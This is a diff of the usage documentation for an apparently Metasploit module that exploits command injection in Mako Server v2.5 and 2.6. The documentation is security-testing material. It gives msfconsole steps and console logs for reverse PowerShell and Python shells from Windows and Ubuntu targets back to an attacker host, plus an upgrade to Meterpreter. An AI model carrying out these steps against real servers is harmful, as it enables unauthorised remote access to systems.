1
1
## Description
2
2
3
- This module exploits a vulnerability found in Mako Server v2.5.
3
+ This module exploits a vulnerability found in Mako Server v2.5, 2.6 .
4
4
It's possible to inject arbitrary OS commands in the Mako Server tutorial page through a PUT request to save.lsp. Attacker input will be saved on the victims machine and can be executed by sending a GET request to manage.lsp.
5
5
6
6
Based on the public PoC found here: https://blogs.securiteam.com/index.php/archives/3391
9
9
10
10
[ Mako Server] ( https://makoserver.net ) is an application framework for designing web and IoT applications.
11
11
12
- This module has been verified against the following Mako Server versions for Windows XP SP3 and Windows 7 SP1 (x86/x64) :
12
+ This module has been verified against the following Mako Server versions for Windows XP SP3, Windows 7 SP1 and Linux Ubuntu 16.04 LTS :
13
13
- v2.5
14
+ - v2.6
14
15
15
16
Links:
16
- - [ Windows installer] ( https://makoserver.net/download/mako.windows.x86.exe )
17
+ - [ Windows x86 installer] ( https://makoserver.net/download/mako.windows.x86.exe )
17
18
- [ Windows download page] ( https://makoserver.net/download/windows )
18
- - [ Documentation] ( https://makoserver.net/documentation/manual/ )
19
+ - [ Linux x64 installer] ( https://makoserver.net/download/mako.linux-x64.tar.gz )
20
+ - [ Linux download page] ( https://makoserver.net/download/linux-x86 )
21
+ - [ Documentation] ( https://makoserver.net/download/manual )
19
22
20
23
## References for vulnerability
21
24
- https://blogs.securiteam.com/index.php/archives/3391
22
25
- https://www.exploit-db.com/exploits/42683
23
26
24
- ## Verification Steps
27
+ ## Verification Steps for Windows
25
28
26
29
1 . Run the installer "mako.windows.x86" on a Windows 7 SP1 (x86/x64) target (with Powershell for this example to work)
27
30
2 . After installer finishes, double click the "Mako-Demo" shortcut on the desktop
28
- 3 . Start msfconsole on host
29
- 4 . Do: ``` use exploit/windows/http/makoserver_cmd_exec ```
30
- 5 . Do: ``` set RHOST <IP address of target system> ```
31
- 6 . Do: ``` set PAYLOAD cmd/windows/reverse_powershell ```
32
- 7 . Do: ``` set LHOST <IP address of host system> ```
33
- 8 . Do: ``` exploit ```
34
- 9 . You should get a Windows command shell
31
+ 4 . Start msfconsole on host
32
+ 5 . Do: ``` use exploit/multi/http/makoserver_cmd_exec ```
33
+ 6 . Do: ``` set RHOST <IP address of target system> ```
34
+ 7 . Do: ``` set PAYLOAD cmd/windows/reverse_powershell ```
35
+ 8 . Do: ``` set LHOST <IP address of host system> ```
36
+ 9 . Do: ``` exploit ```
37
+ 10 . You should get a Windows command shell
38
+
39
+ ## Verification Steps for Linux
40
+
41
+ 1 . Extract the "mako.linux-x64.tar.gz" on a Linux Ubuntu 16.04 LTS (x64) target (with Python for this example to work)
42
+ 2 . From inside the extracted folder, do ``` ./rundemo.sh ```
43
+ 4 . Start msfconsole on host
44
+ 5 . Do: ``` use exploit/multi/http/makoserver_cmd_exec ```
45
+ 6 . Do: ``` set RHOST <IP address of target system> ```
46
+ 7 . Do: ``` set PAYLOAD cmd/unix/python_reverse ```
47
+ 8 . Do: ``` set LHOST <IP address of host system> ```
48
+ 9 . Do: ``` exploit ```
49
+ 10 . You should get a Linux command shell (may need to wait ~ 30 seconds)
35
50
36
51
## Example Output
37
52
```
38
- msf > use exploit/windows /http/makoserver_cmd_exec
53
+ msf > use exploit/multi /http/makoserver_cmd_exec
39
54
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
40
55
RHOST => 10.10.10.3
41
56
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
@@ -57,7 +72,7 @@ C:\Users\Smith\Downloads\MakoServer>
57
72
58
73
## Example Verbose Output
59
74
```
60
- msf > use exploit/windows /http/makoserver_cmd_exec
75
+ msf > use exploit/multi /http/makoserver_cmd_exec
61
76
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
62
77
RHOST => 10.10.10.3
63
78
msf exploit(makoserver_cmd_exec) > set VERBOSE true
@@ -94,7 +109,7 @@ C:\Users\Smith\Downloads\MakoServer>
94
109
A typical scenario would be to obtain a Windows command shell and then upgrade to a Meterpreter session:
95
110
96
111
```
97
- msf > use exploit/windows /http/makoserver_cmd_exec
112
+ msf > use exploit/multi /http/makoserver_cmd_exec
98
113
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.2
99
114
RHOST => 10.10.10.2
100
115
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
@@ -161,3 +176,76 @@ C:\Users\Smith\Downloads\MakoServer>
161
176
Logged On Users : 2
162
177
Meterpreter : x86/windows
163
178
```
179
+
180
+ ### Targeting Linux Ubuntu 16.04 LTS x64 running Mako Server v2.5
181
+
182
+ A typical scenario would be to obtain a Linux command shell and then upgrade to a Meterpreter session:
183
+
184
+ ```
185
+ msf > use exploit/multi/http/makoserver_cmd_exec
186
+ msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.2
187
+ RHOST => 10.10.10.2
188
+ msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/unix/reverse_python
189
+ PAYLOAD => cmd/unix/reverse_python
190
+ msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.4
191
+ LHOST => 10.10.10.4
192
+ msf exploit(makoserver_cmd_exec) > check
193
+ [*] 10.10.10.2:80 The target appears to be vulnerable.
194
+ msf exploit(makoserver_cmd_exec) > exploit
195
+
196
+ [*] Started reverse TCP handler on 10.10.10.4:4444
197
+ [*] Sending payload to target...
198
+ [*] Command shell session 1 opened (10.10.10.4:4444 -> 10.10.10.2:57888) at 2017-11-10 15:52:33 -0500
199
+
200
+ ls
201
+ LICENSE.txt
202
+ mako
203
+ mako.zip
204
+ README.txt
205
+ rundemo.sh
206
+ tutorial
207
+ ^Z
208
+ Background session 1? [y/N] y
209
+ msf exploit(makoserver_cmd_exec) > use multi/manage/shell_to_meterpreter
210
+ msf post(shell_to_meterpreter) > sessions -l
211
+
212
+ Active sessions
213
+ ===============
214
+
215
+ Id Name Type Information Connection
216
+ -- ---- ---- ----------- ----------
217
+ 1 shell cmd/unix 10.10.10.4:4444 -> 10.10.10.2:57888 (10.10.10.2)
218
+
219
+ msf post(shell_to_meterpreter) > set SESSION 1
220
+ SESSION => 1
221
+ msf post(shell_to_meterpreter) > set LPORT 8080
222
+ LPORT => 8080
223
+ msf post(shell_to_meterpreter) > exploit
224
+
225
+ [*] Upgrading session ID: 1
226
+ [*] Starting exploit/multi/handler
227
+ [*] Started reverse TCP handler on 10.10.10.4:8080
228
+ [*] Sending stage (847604 bytes) to 10.10.10.2
229
+ [*] Meterpreter session 2 opened (10.10.10.4:8080 -> 10.10.10.2:60448) at 2017-11-10 15:54:38 -0500
230
+ [*] Command stager progress: 100.00% (736/736 bytes)
231
+ [*] Post module execution completed
232
+ msf post(shell_to_meterpreter) > sessions -l
233
+
234
+ Active sessions
235
+ ===============
236
+
237
+ Id Name Type Information Connection
238
+ -- ---- ---- ----------- ----------
239
+ 1 shell cmd/unix 10.10.10.4:4444 -> 10.10.10.2:57888 (10.10.10.2)
240
+ 2 meterpreter x86/linux uid=1000, gid=1000, euid=1000, egid=1000 @ 10.10.10.2 10.10.10.4:8080 -> 10.10.10.2:60448 (10.10.10.2)
241
+ msf post(shell_to_meterpreter) > sessions -i 2
242
+ [*] Starting interaction with 2...
243
+
244
+ meterpreter > getuid
245
+ Server username: uid=1000, gid=1000, euid=1000, egid=1000
246
+ meterpreter > sysinfo
247
+ Computer : 10.10.10.2
248
+ OS : Ubuntu 16.04 (Linux 4.10.0-35-generic)
249
+ Architecture : x64
250
+ Meterpreter : x86/linux
251
+ ```
0 commit comments